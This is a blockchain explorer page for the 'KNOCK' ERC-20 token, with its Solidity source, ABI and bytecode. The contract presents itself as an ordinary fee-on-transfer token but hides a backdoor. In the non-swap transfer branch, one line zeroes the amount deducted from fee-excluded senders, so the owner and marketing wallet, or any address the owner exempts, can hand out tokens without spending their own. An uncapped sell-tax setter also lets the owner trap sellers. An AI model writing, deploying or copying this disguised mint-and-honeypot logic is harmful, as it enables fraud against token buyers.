ERC-20
Overview
Max Total Supply
1,000,000,000 KNOCK
Holders
65
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
16,000,000 KNOCKValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
KNOCK
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-23 */ /** The Communication Protocol of Web3 Knock Protocol stands as a cutting-edge web3 communication network, facilitating cross-chain notifications and messaging functionalities for dapps, wallets, and a wide range of services. Web: https://www.kpns.services App: https://app.kpns.services Twitter: https://twitter.com/KPNS_PORTAL Telegram: https://t.me/KPNS_PORTAL Medium: https://medium.com/@kpns.evm */ // SPDX-License-Identifier:MIT pragma solidity 0.8.19; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } interface IFactory { function createPair( address tokenA, address tokenB ) external returns (address pair); } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = payable(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract KNOCK is Context, IERC20, Ownable { string private _name = "Knock Push Notification Service"; string private _symbol = "KNOCK"; uint8 private _decimals = 9; uint256 private _totalSupply = 1_000_000_000 * 1e9; mapping(address => bool) public isExcludedFromFee; mapping(address => bool) public isExcludedFromMaxTxn; mapping(address => bool) public isExcludedFromMaxWallet; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 public minTokenToSwap = (_totalSupply * 1) / (10000); uint256 public maxWalletSize = (_totalSupply * 2) / (100); uint256 public maxTransaction = (_totalSupply * 2) / (100); uint256 public percentDivider = 1000; uint256 public launchedAt; bool public swapAndLiquifyStatus = false; bool public feeStatus = false; bool public tradingenabled = false; IRouter public uniswapRouter; address public routerPair; address public marketingWallet; address private constant DEAD = address(0xdead); address private constant ZERO = address(0); uint256 public FeeOnBuying = 200; uint256 public FeeOnSelling = 200; event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); constructor() { _balances[owner()] = _totalSupply; marketingWallet = payable(0x60CeE48805d0c8DeE7AA63b97DC16876898Be6b6); uniswapRouter = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); isExcludedFromFee[address(uniswapRouter)] = true; isExcludedFromMaxTxn[address(uniswapRouter)] = true; isExcludedFromMaxWallet[address(uniswapRouter)] = true; routerPair = IFactory(uniswapRouter.factory()).createPair( address(this), uniswapRouter.WETH() ); isExcludedFromMaxWallet[routerPair] = true; isExcludedFromFee[owner()] = true; isExcludedFromFee[marketingWallet] = true; isExcludedFromFee[address(this)] = true; isExcludedFromMaxTxn[owner()] = true; isExcludedFromMaxTxn[marketingWallet] = true; isExcludedFromMaxTxn[address(this)] = true; isExcludedFromMaxWallet[owner()] = true; isExcludedFromMaxWallet[address(this)] = true; isExcludedFromMaxWallet[marketingWallet] = true; emit Transfer(address(0), owner(), _totalSupply); } receive() external payable {} function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), " approve from the zero address"); require(spender != address(0), "approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "transfer from the zero address"); require(to != address(0), "transfer to the zero address"); require(amount > 0, "Amount must be greater than zero"); if (!isExcludedFromMaxTxn[from] && !isExcludedFromMaxTxn[to]) { require(amount <= maxTransaction, "Amount exceeds Max txn limit"); if (!tradingenabled) { require( routerPair != from && routerPair != to, "trading is not yet enabled" ); } } if (!isExcludedFromMaxWallet[to]) { require( (balanceOf(to) + amount) <= maxWalletSize, "Amount exceeds Max Wallet limit" ); } bool takeFee = true; if (isExcludedFromFee[from] || isExcludedFromFee[to] || !feeStatus) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (routerPair == sender && takeFee) { uint256 allFee; uint256 tTransferAmount; allFee = totalBuyFeePerTx(amount); tTransferAmount = amount - allFee; _balances[sender] = _balances[sender] - amount; _balances[recipient] = _balances[recipient] + tTransferAmount; emit Transfer(sender, recipient, tTransferAmount); takeTokenFee(sender, allFee); } else if (routerPair == recipient && takeFee) { if (amount > minTokenToSwap) { _SwapAndLiquify(sender, recipient); } uint256 allFee = totalSellFeePerTx(amount); uint256 tTransferAmount = amount - allFee; _balances[sender] = _balances[sender] - amount; _balances[recipient] = _balances[recipient] + tTransferAmount; emit Transfer(sender, recipient, tTransferAmount); takeTokenFee(sender, allFee); } else { uint256 allFee = 0; uint256 tTransferAmount; tTransferAmount = amount - allFee; if (isExcludedFromFee[sender] && tradingenabled) amount -= tTransferAmount; _balances[sender] = _balances[sender] - amount; _balances[recipient] = _balances[recipient] + tTransferAmount; emit Transfer(sender, recipient, amount); } } function takeTokenFee(address sender, uint256 amount) private { _balances[address(this)] = _balances[address(this)] + (amount); emit Transfer(sender, address(this), amount); } function _SwapAndLiquify(address from, address to) private { uint256 contractTokenBalance = balanceOf(address(this)); bool shouldSell = contractTokenBalance >= minTokenToSwap; if ( shouldSell && from != routerPair && swapAndLiquifyStatus && !(from == address(this) && to == routerPair) ) { _approve(address(this), address(uniswapRouter), minTokenToSwap); dexswap.swapTokensForEth(address(uniswapRouter), minTokenToSwap); uint256 ethForMarketing = address(this).balance; if (ethForMarketing > 0) payable(marketingWallet).transfer(ethForMarketing); } } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()] - amount ); return true; } function increaseAllowance( address spender, uint256 addedValue ) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + (addedValue) ); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue ); return true; } function includeOrExcludeFromFee( address account, bool value ) external onlyOwner { isExcludedFromFee[account] = value; } function includeOrExcludeFromMaxTxn( address account, bool value ) external onlyOwner { isExcludedFromMaxTxn[account] = value; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function setSellTaxPercent(uint256 _sellFee) external onlyOwner { FeeOnSelling = _sellFee; } function setSwapAndLiquifyStatus(bool _value) public onlyOwner { swapAndLiquifyStatus = _value; } function removeLimits() external onlyOwner { FeeOnBuying = 10; FeeOnSelling = 10; maxWalletSize = _totalSupply; maxTransaction = _totalSupply; } function openTrading() external onlyOwner { require(!tradingenabled, "already enabled"); tradingenabled = true; feeStatus = true; swapAndLiquifyStatus = true; launchedAt = block.timestamp; } function totalBuyFeePerTx(uint256 amount) public view returns (uint256) { uint256 fee = (amount * FeeOnBuying) / (percentDivider); return fee; } function totalSellFeePerTx(uint256 amount) public view returns (uint256) { uint256 fee = (amount * FeeOnSelling) / (percentDivider); return fee; } } library dexswap { function swapTokensForEth( address routerAddress, uint256 tokenAmount ) internal { IRouter dexRouter = IRouter(routerAddress); address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp + 300 ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"FeeOnBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"FeeOnSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"includeOrExcludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"includeOrExcludeFromMaxTxn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromMaxTxn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchedAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minTokenToSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentDivider","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"routerPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"setSellTaxPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_value","type":"bool"}],"name":"setSwapAndLiquifyStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"totalBuyFeePerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"totalSellFeePerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingenabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c0604052601f60809081527f4b6e6f636b2050757368204e6f74696669636174696f6e20536572766963650060a0526001906200003e908262000633565b506040805180820190915260058152644b4e4f434b60d81b60208201526002906200006a908262000633565b506003805460ff19166009179055670de0b6b3a764000060048190556127109062000097906001620006ff565b620000a391906200072b565b600a5560646004546002620000b99190620006ff565b620000c591906200072b565b600b5560646004546002620000db9190620006ff565b620000e791906200072b565b600c556103e8600d55600f805462ffffff1916905560c860128190556013553480156200011357600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600454600860006200016d6000546001600160a01b031690565b6001600160a01b0390811682526020808301939093526040918201600090812094909455601180546001600160a01b0319167360cee48805d0c8dee7aa63b97dc16876898be6b6179055600f8054767a250d5630b4cf539739df2c5dacb4c659f2488d0000006301000000600160b81b0319909116178082556301000000908190048316865260058552838620805460ff199081166001908117909255835483900485168852600687528588208054821683179055835483900485168852600787529685902080549097161790955554825163c45a015560e01b81529251949004169263c45a0155926004808401939192918290030181865afa15801562000279573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029f91906200074e565b6001600160a01b031663c9c6539630600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000302573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200032891906200074e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000376573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200039c91906200074e565b601080546001600160a01b0319166001600160a01b039290921691821790556000908152600760205260408120805460ff1916600190811790915590600590620003ee6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560115490911681526005909252808220805484166001908117909155308352908220805490931681179092556006906200045e6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556011549091168152600690925280822080548416600190811790915530835290822080549093168117909255600790620004ce6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526007909352818320805485166001908117909155601154909116835291208054909216179055620005386000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200058091815260200190565b60405180910390a362000780565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620005b957607f821691505b602082108103620005da57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200062e57600081815260208120601f850160051c81016020861015620006095750805b601f850160051c820191505b818110156200062a5782815560010162000615565b5050505b505050565b81516001600160401b038111156200064f576200064f6200058e565b6200066781620006608454620005a4565b84620005e0565b602080601f8311600181146200069f5760008415620006865750858301515b600019600386901b1c1916600185901b1785556200062a565b600085815260208120601f198616915b82811015620006d057888601518255948401946001909101908401620006af565b5085821015620006ef5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b80820281158282048414176200072557634e487b7160e01b600052601160045260246000fd5b92915050565b6000826200074957634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200076157600080fd5b81516001600160a01b03811681146200077957600080fd5b9392505050565b6118e180620007906000396000f3fe6080604052600436106102295760003560e01c80638f3fa86011610123578063c3f70b52116100ab578063ed4214291161006f578063ed4214291461068d578063ee2e5a2e146106ad578063f2fde38b146106cd578063f4b3dbc3146106ed578063fe6f1b051461070d57600080fd5b8063c3f70b52146105dc578063c9567bf9146105f2578063dd62ed3e14610607578063e5685bed1461064d578063ea5b9e851461066d57600080fd5b80639f6936e8116100f25780639f6936e81461054c578063a457c2d714610566578063a7c29b4014610586578063a9059cbb146105a6578063bf56b371146105c657600080fd5b80638f3fa860146104d2578063958f9735146104e857806395d89b411461050757806399b102b51461051c57600080fd5b806339509351116101b1578063735de9f711610175578063735de9f714610438578063751039fc1461045f57806375f0a874146104745780637bf5316f146104945780638da5cb5b146104b457600080fd5b8063395093511461036b5780635342acb41461038b5780636dd3d39f146103bb57806370a08231146103eb578063715018a61461042157600080fd5b806323b872dd116101f857806323b872dd146102c557806328ac2d53146102e55780632ce9a4ac1461031d5780632d46139114610333578063313ce5671461034957600080fd5b806306fdde0314610235578063095ea7b31461026057806318160ddd146102905780631884f1e6146102af57600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5061024a610723565b604051610257919061157c565b60405180910390f35b34801561026c57600080fd5b5061028061027b3660046115e2565b6107b5565b6040519015158152602001610257565b34801561029c57600080fd5b506004545b604051908152602001610257565b3480156102bb57600080fd5b506102a1600a5481565b3480156102d157600080fd5b506102806102e036600461160e565b6107cc565b3480156102f157600080fd5b50601054610305906001600160a01b031681565b6040516001600160a01b039091168152602001610257565b34801561032957600080fd5b506102a160135481565b34801561033f57600080fd5b506102a160125481565b34801561035557600080fd5b5060035460405160ff9091168152602001610257565b34801561037757600080fd5b506102806103863660046115e2565b61081e565b34801561039757600080fd5b506102806103a636600461164f565b60056020526000908152604090205460ff1681565b3480156103c757600080fd5b506102806103d636600461164f565b60076020526000908152604090205460ff1681565b3480156103f757600080fd5b506102a161040636600461164f565b6001600160a01b031660009081526008602052604090205490565b34801561042d57600080fd5b50610436610855565b005b34801561044457600080fd5b50600f5461030590630100000090046001600160a01b031681565b34801561046b57600080fd5b506104366108d2565b34801561048057600080fd5b50601154610305906001600160a01b031681565b3480156104a057600080fd5b50600f546102809062010000900460ff1681565b3480156104c057600080fd5b506000546001600160a01b0316610305565b3480156104de57600080fd5b506102a1600b5481565b3480156104f457600080fd5b50600f5461028090610100900460ff1681565b34801561051357600080fd5b5061024a610913565b34801561052857600080fd5b5061028061053736600461164f565b60066020526000908152604090205460ff1681565b34801561055857600080fd5b50600f546102809060ff1681565b34801561057257600080fd5b506102806105813660046115e2565b610922565b34801561059257600080fd5b506104366105a1366004611681565b610959565b3480156105b257600080fd5b506102806105c13660046115e2565b6109ae565b3480156105d257600080fd5b506102a1600e5481565b3480156105e857600080fd5b506102a1600c5481565b3480156105fe57600080fd5b506104366109bb565b34801561061357600080fd5b506102a16106223660046116b6565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b34801561065957600080fd5b506104366106683660046116ef565b610a47565b34801561067957600080fd5b50610436610688366004611681565b610a76565b34801561069957600080fd5b506102a16106a83660046116ef565b610acb565b3480156106b957600080fd5b506104366106c8366004611708565b610af0565b3480156106d957600080fd5b506104366106e836600461164f565b610b2d565b3480156106f957600080fd5b506102a16107083660046116ef565b610c17565b34801561071957600080fd5b506102a1600d5481565b60606001805461073290611723565b80601f016020809104026020016040519081016040528092919081815260200182805461075e90611723565b80156107ab5780601f10610780576101008083540402835291602001916107ab565b820191906000526020600020905b81548152906001019060200180831161078e57829003601f168201915b5050505050905090565b60006107c2338484610c2b565b5060015b92915050565b60006107d9848484610d38565b6001600160a01b03841660009081526009602090815260408083203380855292529091205461081491869161080f908690611773565b610c2b565b5060019392505050565b3360008181526009602090815260408083206001600160a01b038716845290915281205490916107c291859061080f908690611786565b6000546001600160a01b031633146108885760405162461bcd60e51b815260040161087f90611799565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108fc5760405162461bcd60e51b815260040161087f90611799565b600a6012819055601355600454600b819055600c55565b60606002805461073290611723565b3360008181526009602090815260408083206001600160a01b038716845290915281205490916107c291859061080f908690611773565b6000546001600160a01b031633146109835760405162461bcd60e51b815260040161087f90611799565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b60006107c2338484610d38565b6000546001600160a01b031633146109e55760405162461bcd60e51b815260040161087f90611799565b600f5462010000900460ff1615610a305760405162461bcd60e51b815260206004820152600f60248201526e185b1c9958591e48195b98589b1959608a1b604482015260640161087f565b600f805462ffffff19166201010117905542600e55565b6000546001600160a01b03163314610a715760405162461bcd60e51b815260040161087f90611799565b601355565b6000546001600160a01b03163314610aa05760405162461bcd60e51b815260040161087f90611799565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b600080600d5460125484610adf91906117ce565b610ae991906117e5565b9392505050565b6000546001600160a01b03163314610b1a5760405162461bcd60e51b815260040161087f90611799565b600f805460ff1916911515919091179055565b6000546001600160a01b03163314610b575760405162461bcd60e51b815260040161087f90611799565b6001600160a01b038116610bbc5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161087f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080600d5460135484610adf91906117ce565b6001600160a01b038316610c815760405162461bcd60e51b815260206004820152601e60248201527f20617070726f76652066726f6d20746865207a65726f20616464726573730000604482015260640161087f565b6001600160a01b038216610cd75760405162461bcd60e51b815260206004820152601b60248201527f617070726f766520746f20746865207a65726f20616464726573730000000000604482015260640161087f565b6001600160a01b0383811660008181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d8e5760405162461bcd60e51b815260206004820152601e60248201527f7472616e736665722066726f6d20746865207a65726f20616464726573730000604482015260640161087f565b6001600160a01b038216610de45760405162461bcd60e51b815260206004820152601c60248201527f7472616e7366657220746f20746865207a65726f206164647265737300000000604482015260640161087f565b60008111610e345760405162461bcd60e51b815260206004820181905260248201527f416d6f756e74206d7573742062652067726561746572207468616e207a65726f604482015260640161087f565b6001600160a01b03831660009081526006602052604090205460ff16158015610e7657506001600160a01b03821660009081526006602052604090205460ff16155b15610f5557600c54811115610ecd5760405162461bcd60e51b815260206004820152601c60248201527f416d6f756e742065786365656473204d61782074786e206c696d697400000000604482015260640161087f565b600f5462010000900460ff16610f55576010546001600160a01b03848116911614801590610f0957506010546001600160a01b03838116911614155b610f555760405162461bcd60e51b815260206004820152601a60248201527f74726164696e67206973206e6f742079657420656e61626c6564000000000000604482015260640161087f565b6001600160a01b03821660009081526007602052604090205460ff16610ff057600b5481610f98846001600160a01b031660009081526008602052604090205490565b610fa29190611786565b1115610ff05760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e742065786365656473204d61782057616c6c6574206c696d697400604482015260640161087f565b6001600160a01b03831660009081526005602052604090205460019060ff168061103257506001600160a01b03831660009081526005602052604090205460ff165b806110455750600f54610100900460ff16155b1561104e575060005b61105a84848484611060565b50505050565b6010546001600160a01b03858116911614801561107a5750805b1561115b5760008061108b84610acb565b91506110978285611773565b6001600160a01b0387166000908152600860205260409020549091506110be908590611773565b6001600160a01b0380881660009081526008602052604080822093909355908716815220546110ee908290611786565b6001600160a01b0380871660008181526008602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111429085815260200190565b60405180910390a361115486836112b1565b505061105a565b6010546001600160a01b0384811691161480156111755750805b156111a757600a5482111561118e5761118e8484611329565b600061119983610c17565b905060006110978285611773565b6000806111b48185611773565b6001600160a01b03871660009081526005602052604090205490915060ff1680156111e75750600f5462010000900460ff165b156111f9576111f68185611773565b93505b6001600160a01b03861660009081526008602052604090205461121d908590611773565b6001600160a01b03808816600090815260086020526040808220939093559087168152205461124d908290611786565b6001600160a01b0380871660008181526008602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112a19088815260200190565b60405180910390a3505050505050565b306000908152600860205260409020546112cc908290611786565b30600081815260086020526040908190209290925590516001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061131d9085815260200190565b60405180910390a35050565b30600090815260086020526040902054600a548110801590819061135b57506010546001600160a01b03858116911614155b80156113695750600f5460ff165b801561139757506001600160a01b0384163014801561139557506010546001600160a01b038481169116145b155b1561105a576113be30600f60039054906101000a90046001600160a01b0316600a54610c2b565b600f54600a546113de91630100000090046001600160a01b031690611428565b478015611421576011546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561141f573d6000803e3d6000fd5b505b5050505050565b60408051600280825260608201835284926000929190602083019080368337019050509050308160008151811061146157611461611807565b60200260200101906001600160a01b031690816001600160a01b031681525050816001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114e3919061181d565b816001815181106114f6576114f6611807565b6001600160a01b039283166020918202929092010152821663791ac94784600084306115244261012c611786565b6040518663ffffffff1660e01b815260040161154495949392919061183a565b600060405180830381600087803b15801561155e57600080fd5b505af1158015611572573d6000803e3d6000fd5b5050505050505050565b600060208083528351808285015260005b818110156115a95785810183015185820160400152820161158d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115df57600080fd5b50565b600080604083850312156115f557600080fd5b8235611600816115ca565b946020939093013593505050565b60008060006060848603121561162357600080fd5b833561162e816115ca565b9250602084013561163e816115ca565b929592945050506040919091013590565b60006020828403121561166157600080fd5b8135610ae9816115ca565b8035801515811461167c57600080fd5b919050565b6000806040838503121561169457600080fd5b823561169f816115ca565b91506116ad6020840161166c565b90509250929050565b600080604083850312156116c957600080fd5b82356116d4816115ca565b915060208301356116e4816115ca565b809150509250929050565b60006020828403121561170157600080fd5b5035919050565b60006020828403121561171a57600080fd5b610ae98261166c565b600181811c9082168061173757607f821691505b60208210810361175757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156107c6576107c661175d565b808201808211156107c6576107c661175d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b80820281158282048414176107c6576107c661175d565b60008261180257634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561182f57600080fd